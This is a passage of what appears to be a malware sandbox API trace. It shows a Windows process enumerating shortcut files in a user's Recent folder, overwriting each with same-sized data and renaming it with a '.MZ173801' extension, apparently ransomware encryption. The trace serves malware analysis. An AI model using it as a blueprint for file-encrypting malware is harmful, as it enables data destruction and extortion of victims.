Qjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pVjAn4Y7HQcGd.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pvjan4y7hqcgd.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.890] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.890] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.890] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x252 [0121.890] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.890] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x252, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x252, lpOverlapped=0x0) returned 1 [0121.891] CloseHandle (hObject=0x288) returned 1 [0121.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pVjAn4Y7HQcGd.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pvjan4y7hqcgd.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.893] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x252, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x252, lpOverlapped=0x0) returned 1 [0121.894] CloseHandle (hObject=0x288) returned 1 [0121.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pVjAn4Y7HQcGd.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pvjan4y7hqcgd.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pVjAn4Y7HQcGd.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pvjan4y7hqcgd.mkv.lnk.mz173801")) returned 1 [0121.914] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2d7b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2d7b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2d7b60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Q0fnnBm9W_.lnk", cAlternateFileName="Q0FNNB~1.LNK")) returned 1 [0121.914] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.914] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.914] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q0fnnBm9W_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q0fnnbm9w_.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2d7b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2d7b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2d7b60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2)) returned 1 [0121.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q0fnnBm9W_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q0fnnbm9w_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.919] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.919] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.919] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3f2 [0121.919] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.920] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3f2, lpOverlapped=0x0) returned 1 [0121.921] CloseHandle (hObject=0x288) returned 1 [0121.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q0fnnBm9W_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q0fnnbm9w_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.922] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3f2, lpOverlapped=0x0) returned 1 [0121.923] CloseHandle (hObject=0x288) returned 1 [0121.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q0fnnBm9W_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q0fnnbm9w_.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q0fnnBm9W_.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q0fnnbm9w_.lnk.mz173801")) returned 1 [0121.931] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb06700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb06700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb06700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xaa5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="q2_Y1QkDxrE4OwSA-7I8.lnk", cAlternateFileName="Q2_Y1Q~1.LNK")) returned 1 [0121.931] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.931] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q2_Y1QkDxrE4OwSA-7I8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q2_y1qkdxre4owsa-7i8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb06700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb06700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb06700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xaa5)) returned 1 [0121.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 